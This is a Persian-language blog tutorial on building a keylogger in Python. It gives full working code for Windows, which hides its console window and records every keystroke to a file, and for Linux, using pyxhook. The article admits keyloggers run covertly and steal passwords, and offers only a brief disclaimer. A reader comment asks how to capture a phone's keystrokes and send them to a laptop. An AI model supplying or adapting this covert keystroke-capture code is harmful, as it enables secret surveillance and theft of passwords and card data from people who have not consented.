ساخت کی لاگر در پایتون — راهنمای کاربردی

در این مطلب، چگونگی ساخت کی لاگر در پایتون آموزش داده شده است. «کیلاگر» (Keylogger) به نرمافزاری گفته میشود که کلیدهای فشرده شده روی صفحه کلید را ذخیره میکند. به این کار، «ثبت صفحه کلید» (Keyboard Capturing) نیز گفته میشود. کیلاگرها معمولا کار خود را به صورت پنهانی انجام میدهند و فردی که با کامپیوتر کار میکند، از اینکه یک کیلاگر در حال ذخیرهسازی کلیدهای فشرده شده توسط او است، خبر ندارد.
این برنامههای کامپیوتری برای کار روی نرمافزارهای کامپیوتر هدف طراحی شدهاند. کیلاگرها در واحدهای IT سازمانها برای خطایای مسائل فنی درون کامپیوترها و همچنین، در شبکهها استفاده میشوند. خانوادهها و کسب و کارها از کیلاگرها به صورت قانونی برای نظارت بر استفاده از شبکه بدون اطلاع مستقیم کاربرها بهره میبرند. اگرچه، افراد مخرب میتوانند از کیلاگرها روی کامپیوترهای عمومی برای سرقت گذرواژهها یا اطلاعات کارتهای اعتباری استفاده میکنند. به طور کلی، کیلاگرها را میتوان برای مقاصد خوب و یا بد استفاده کرد. در اینجا، هدف از بیان روش ساخت کی لاگر در پایتون، استفاده از آن برای اهداف مثبتی مانند خطایابی و چنین مواردی است؛ بدیهی است عواقب هر گونه استفاده دیگر از این مطلب بر عهده کاربر بوده و مجله فرادرس در قبال آن مسئولیتی را نمیپذیرد. در این مطلب، چگونگی ساخت کی لاگر در پایتون برای سیستم عاملهای ویندوز و لینوکس بیان شده است. برای این کار باید کتابخانههای پایتون زیر را دانلود کرد.
ساخت کی لاگر در پایتون برای سیستمعامل ویندوز
در ادامه، کد لازم برای ساخت کیلاگر در پایتون برای سیستمعامل ویندوز ارائه شده است.
# Python code for keylogger # to be used in windows import win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) def OnKeyboardEvent(event): if event.Ascii==5: _exit(1) if event.Ascii !=0 or 8: #open output.txt to read current keystrokes f = open('c:\output.txt', 'r+') buffer = f.read() f.close() # open output.txt to write current + new keystrokes f = open('c:\output.txt', 'w') keylogs = chr(event.Ascii) if event.Ascii == 13: keylogs = '/n' buffer += keylogs f.write(buffer) f.close() # create a hook manager object hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages()
اکنون، باید فایل در ویندوز، در مسیر C:\ و با عنوان Keylogger.py ذخیره و پس از آن، فایل پایتون اجرا شود. خروجی قطعه کد بالا، به این صورت است که کیلاگر در پسزمینه شروع به کار میکند و همه دادهها را روی فایل لوگ «“c:\output.txt» ذخیره میکند.
ساخت کی لاگر در پایتون برای سیستمعامل لینوکس
pyxhook نیازمند آن است که python-xlib نصب شده باشد.
در صورتی که این مورد روی سیستم کاربر نصب نباشد، باید آن را با استفاده از دستور زیر نصب کرد.
sudo apt-get install python-xlib
کتابخانه pyxhook را میتوان از اینجا [+] دانلود کرد.
# Python code for keylogger # to be used in linux import os import pyxhook # This tells the keylogger where the log file will go. # You can set the file path as an environment variable ('pylogger_file'), # or use the default ~/Desktop/file.log log_file = os.environ.get( 'pylogger_file', os.path.expanduser('~/Desktop/file.log') ) # Allow setting the cancel key from environment args, Default: ` cancel_key = ord( os.environ.get( 'pylogger_cancel', '`' )[0] ) # Allow clearing the log file on start, if pylogger_clean is defined. if os.environ.get('pylogger_clean', None) is not None: try: os.remove(log_file) except EnvironmentError: # File does not exist, or no permissions. pass #creating key pressing event and saving it into log file def OnKeyPress(event): with open(log_file, 'a') as f: f.write('{}\n'.format(event.Key)) # create a hook manager object new_hook = pyxhook.HookManager() new_hook.KeyDown = OnKeyPress # set the hook new_hook.HookKeyboard() try: new_hook.start() # start the hook except KeyboardInterrupt: # User cancelled from command line. pass except Exception as ex: # Write exceptions to the log file, for analysis later. msg = 'Error while catching events:\n {}'.format(ex) pyxhook.print_err(msg) with open(log_file, 'a') as f: f.write('\n{}'.format(msg))
خروجی قطعه کد بالا به این صورت است که کیلاگر در پسزمینه شروع به فعالیت و همه دادهها را در فایل file.log در مسیر /home/akash/Desktop ذخیره میکند. البته، نام کاربری (که در اینجا aksh است) برای سیستمهای مختلف متفاوت است و هر فردی، باید آدرس پوشه کاری خودش را در کد وارد کند.
اگر نوشته بالا برای شما مفید بوده است، آموزشهای زیر نیز به شما پیشنهاد میشوند:
- مجموعه آموزشهای برنامهنویسی پایتون
- آموزش تکمیلی برنامهنویسی پایتون
- مجموعه آموزشهای دادهکاوی و یادگیری ماشین
- زبان برنامهنویسی پایتون (Python) — از صفر تا صد
- یادگیری علم داده (Data Science) با پایتون — از صفر تا صد
- آموزش پایتون (Python) — مجموعه مقالات جامع وبلاگ فرادرس
^^
سلام
چجوری میشه به اشتراک گذاشت مثلا تو گوشی کار کنه به لپ تاپ من انتقال پیدا کنه